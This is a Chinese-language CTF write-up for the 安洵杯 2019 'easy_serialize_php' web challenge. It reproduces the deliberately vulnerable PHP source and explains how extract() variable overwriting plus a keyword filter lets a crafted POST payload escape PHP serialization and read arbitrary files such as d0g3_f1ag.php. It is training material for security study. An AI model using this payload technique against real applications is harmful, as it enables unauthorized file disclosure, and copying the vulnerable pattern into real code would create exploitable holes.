[ctf web][安洵杯 2019]easy_serialize_php writeup

[安洵杯 2019]easy_serialize_php

知识点：
extract()变量覆盖
字符串覆盖逃逸(原理：序列化后的结构经过了某些处理，反而而把结构体本身的结构给打乱了)

源码：

<?php

$function = @$_GET['f'];		//get f为function

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);		//unset将$_SESSION销毁了。
}

$_SESSION["user"] = 'guest';		//$_SESSION数组
$_SESSION['function'] = $function;

extract($_POST);		//extract会导致变量覆盖

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));			//$_SESSION数组序列号并过滤存为$serialize_info

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

phpinfo里面找到d0g3_f1ag.php

思路：

f=show_image读文件的，让$userinfo[‘img’]是相应的d0g3_f1ag.php的base64加密

不传img_path
if(!$_GET[‘img_path’]){
$_SESSION[‘img’] = base64_encode(‘guest_img.png’);

利用自定义函数filter的替换进行字符串覆盖逃逸，自己把img的base放进去

payload:

_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

原理:

_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}				//ZDBnM19mMWFnLnBocA==   →   d0g3_f1ag.php
|
↓
serialize($_SESSION)
"a:2:{s:7:"phpflag";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"

phpflag 的值 ;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==
|
↓
filter过滤后phpflag就会被替换成空
a:2:{s:7:"";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

第一个键名成了 ";s:48: 7位，然后对应的值是 s:1:"1"; 即为1
因为已经闭合了，后面的部分;s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}会被直接抛弃

要凑两个：;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}长度为48 → s:48:

​ phpflag长度7 == ";s:48:

$flag = 'flag in /d0g3_fllllllag';同理读取

参考文章：https://www.cnblogs.com/h3zh1/p/12732336.html